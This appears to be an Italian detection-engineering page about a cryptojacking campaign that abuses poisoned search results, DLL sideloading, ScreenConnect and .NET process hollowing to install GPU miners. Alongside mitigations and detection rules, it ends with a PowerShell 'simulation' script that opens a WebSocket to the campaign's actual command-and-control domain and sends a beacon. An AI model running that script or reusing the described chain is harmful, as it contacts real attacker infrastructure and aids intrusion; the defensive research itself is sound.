Dai Risultati di Ricerca Avvelenati al Mining GPU: Una Campagna di Cryptojacking Utilizzando ScreenConnect e Utility .NET
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Questa campagna utilizza l’avvelenamento SEO e i risultati di ricerca manipolati dei chatbot AI per attirare gli utenti a scaricare falsi strumenti di monitoraggio hardware. Gli installatori trojanizzati contengono una DLL malevola che viene caricata come sideload su un’applicazione legittima e distribuisce in modo silenzioso ScreenConnect. Gli attaccanti utilizzano quindi ScreenConnect per avviare un dropper RunPE personalizzato che scava i binari .NET firmati da Microsoft e inietta il payload della fase successiva. La fase finale scarica strumenti di mining GPU come gminer, lolMiner, e SRBMiner-MULTI, poi mantiene la persistenza tramite attività programmate, chiavi di Run del registro e un collegamento di avvio. Il malware aggiunge anche esclusioni di Windows Defender per ridurre la possibilità di rilevamento.
Investigazione
I ricercatori di Microsoft Defender hanno mappato l’intera catena di infezione, incluso il metodo di sideloading della DLL, l’abuso di ScreenConnect come strumento di gestione remota e l’uso di un loader RunPE personalizzato chiamato SimpleRunPE.exe. Gli analisti hanno recuperato gli argomenti della riga di comando di ScreenConnect, identificato l’elenco dei binari .NET firmati utilizzati per il processo di hollowing, e documentato un endpoint di comando e controllo protetto con un certificato TLS pinnato. L’indagine ha anche rivelato infrastrutture di supporto come domini malevoli, indirizzi IP, e dettagli del provider DNS collegati alla campagna.
Mitigazione
I difensori dovrebbero abilitare la protezione fornita dal cloud, applicare regole di riduzione della superficie d’attacco, bloccare i file eseguibili che non soddisfano requisiti di reputazione, prevalenza o età, e attivare la protezione web e di rete in Microsoft Defender per Endpoint. Gli strumenti di gestione remota come ScreenConnect dovrebbero essere disabilitati dove non necessari o strettamente controllati dove richiesto, con monitoraggio delle attività pianificate non autorizzate e voci di registro Run sospette. Tutte le esclusioni di Windows Defender aggiunte dal malware dovrebbero essere rimosse immediatamente, e i domini e gli indirizzi IP malevoli identificati bloccati.
Risposta
If RuntimeHost.exe or SimpleRunPE.exe viene trovato in esecuzione da directory di cache nascoste, isolare immediatamente l’host interessato, terminare la sessione di ScreenConnect correlata, e rimuovere tutti i meccanismi di persistenza, comprese attività pianificate, chiavi Run e collegamenti di avvio. Bloccare il dominio minemine.gleeze.com e gli indirizzi IP osservati, quindi cercare nell’ambiente i binari di miner elencati e autorun.dll. Infine, ripristinare le protezioni di Defender e rivedere le impostazioni di esclusione per eventuali modifiche non autorizzate.
Flusso di Attacco
Rilevamenti
Possibili Punti di Persistenza [ASEPs – Hive Software/NTUSER] (via registry_event)
Visualizza
Schtasks Puntano a Directory / Binario / Script Sospetto (via cmdline)
Visualizza
Software Alternativo di Accesso Remoto / Gestione (via process_creation)
Visualizza
Uso Sospetto di CURL (via cmdline)
Visualizza
Chiama Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
Modifiche Sospette nelle Preferenze di Windows Defender (via powershell)
Visualizza
Verifiche di Evasione Possibili (via powershell)
Visualizza
Binari / Script Sospetti in Posizione di Avvio Automatico (via file_event)
Visualizza
IOC (HashSha256) per rilevare: Dai risultati di ricerca avvelenati al mining GPU: una campagna di cryptojacking che abusa di ScreenConnect e Microsoft .NET utilities
Visualizza
IOC (SourceIP) per rilevare: Dai risultati di ricerca avvelenati al mining GPU: una campagna di cryptojacking che abusa di ScreenConnect e Microsoft .NET utilities
Visualizza
IOC (DestinationIP) per rilevare: Dai risultati di ricerca avvelenati al mining GPU: una campagna di cryptojacking che abusa di ScreenConnect e Microsoft .NET utilities
Visualizza
Comunicazione C2 da Binario Sovvertito [Connessione di Rete Windows]
Visualizza
Accesso Remoto Persistente e Process Hollowing via ScreenConnect e SimpleRunPE [Creazione di Processo Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione & Comandi di Attacco:
Un attaccante ha già consegnato un binario legittimo scavato sulla macchina vittima. Il binario ora inizia un canale persistente C2 su un WebSocket connessione awss://minemine.gleeze.com:8443/ws. Per emulare questo, usiamo uno script PowerShell che crea un .NETClientWebSocket, opzionalmente imposta un callback personalizzato di validazione del certificato TLS (simulando il pinning del certificato), e mantiene la connessione per un breve periodo. -
Script di Test di Regressione:
# Simula una comunicazione C2 da un binario scavato # Requisiti: PowerShell 5+ (classi .NET integrate) $c2Url = 'wss://minemine.gleeze.com:8443/ws' # Crea client WebSocket $ws = [System.Net.WebSockets.ClientWebSocket]::new() # OPZIONALE: Forza il pinning del certificato (accetta solo un'impronta digitale specifica) $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234' # segnaposto $handler = [System.Net.Http.HttpClientHandler]::new() $handler.ServerCertificateCustomValidationCallback = { param($sender, $cert, $chain, $sslPolicyErrors) $cert.Thumbprint -eq $allowedThumbprint } try { Write-Host "Connessione all'endpoint C2 $c2Url ..." $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait() Write-Host "Connessione stabilita. Inviando payload di beacon..." # Invia un beacon dummy (JSON) $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }' $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $segment = [System.ArraySegment[byte]]::new($bytes) $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait() Start-Sleep -Seconds 10 # Mantiene il canale aperto per una breve finestra } finally { Write-Host "Chiusura WebSocket..." $ws.Abort() } -
Comandi di Pulizia:
# Assicurarsi che qualsiasi processo WebSocket residuo sia terminato Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force # Opzionalmente rimuovere i file temporanei utilizzati nel test Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue